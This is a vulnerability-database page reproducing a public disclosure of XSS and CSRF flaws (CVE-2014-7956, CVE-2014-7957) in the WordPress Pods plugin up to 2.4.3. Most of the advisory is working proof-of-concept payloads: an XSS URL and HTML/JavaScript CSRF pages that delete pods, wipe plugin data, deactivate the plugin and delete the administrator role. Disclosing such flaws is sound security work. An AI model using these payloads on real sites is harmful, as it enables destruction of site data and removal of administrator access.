| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| WordPress Plugin Pods Has Multiple Cross-Site Request Forgery Vulnerabilities | 13 Jan 201500:00 | – | cnvd | |
| WordPress plugin Pods cross-site scripting vulnerability | 13 Jan 201500:00 | – | cnvd | |
| CVE-2014-7956 | 15 Jan 201515:00 | – | cve | |
| CVE-2014-7957 | 15 Jan 201515:00 | – | cve | |
| CVE-2014-7956 | 15 Jan 201515:00 | – | cvelist | |
| CVE-2014-7957 | 15 Jan 201515:00 | – | cvelist | |
| EUVD-2014-7806 | 7 Oct 202500:30 | – | euvd | |
| EUVD-2014-7807 | 7 Oct 202500:30 | – | euvd | |
| CVE-2014-7956 | 15 Jan 201515:59 | – | nvd | |
| CVE-2014-7957 | 15 Jan 201515:59 | – | nvd |
`Vulnerability title: Wordpress plugin Pods <= 2.4.3 XSS and CSRF vulnerabilities
vulnerabilities
Author: Pietro Oliva
CVE: CVE-2014-7956, CVE-2014-7957
Product: pods
Affected version: pods <= 2.4.3
Vulnerabilities fixed in version: 2.5
XSS vulnerability (CVE-2014-7956, authentication is needed):
http://localhost/wp-admin/admin.php?page=pods&action=edit&id=4"></a><script>alert('xss')</script><!--
Multiple CSRF (CVE-2014-7957,authentication needed):
CSRF 1 (bruteforce pods IDs and delete them):
<html>
<body>
<script>
target="http://localhost";
for (i=0; i<50;i++)
document.write('<img style="display:none"
src="'+target+'/wp-admin/admin.php?page=pods&action=delete&id='+i+'">');
</script>
</body>
</html>
CSRF 2 (delete pods plugin data):
<html>
<body onload="document.forms[0].submit();">
<form method="post"
action="http://localhost/wordpress/wp-admin/admin.php?page=pods-settings&tab=reset">
<input type="hidden" name="pods_reset" value="Reset Pods settings and data ">
</form>
</html>
CSRF 3 (deactivate pods and delete data):
<html>
<body onload="document.forms[0].submit();">
<form method="post"
action="http://localhost/wordpress/wp-admin/admin.php?page=pods-settings&tab=reset&pods_reset_deactivate=
Deactivate and Delete Pods data ">
<input type="hidden" name="pods_reset_deactivate" value=" Deactivate
and Delete Pods data ">
</form>
</html>
CSRF 4 (enable "roles and capabilities" component and delete admin role):
<html>
<script>
function continueExecution(){
document.write('<link rel="stylesheet"
href="http://localhost/wordpress/wp-admin/admin.php?page=pods-component-roles-and-capabilities&action=delete&id=administrator">');
}
document.write('<link rel="stylesheet"
href="http://localhost/wordpress/wp-admin/admin.php?page=pods-components&action=toggle&id=roles-and-capabilities&toggle=1&toggled=1">');
setTimeout(continueExecution, 10000);
</script>
</html>
CSRF 4 XSS impact:
http://localhost/wp-admin/admin.php?page=pods-components&action=toggle&id=roles-and-capabilities&toggle=1&toggled=111111111"
onmouseenter="alert('xss')"
style="width:3000px;height:1000px;left:0px;top:0px;position:absolute;opacity:0;"></a><!--
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation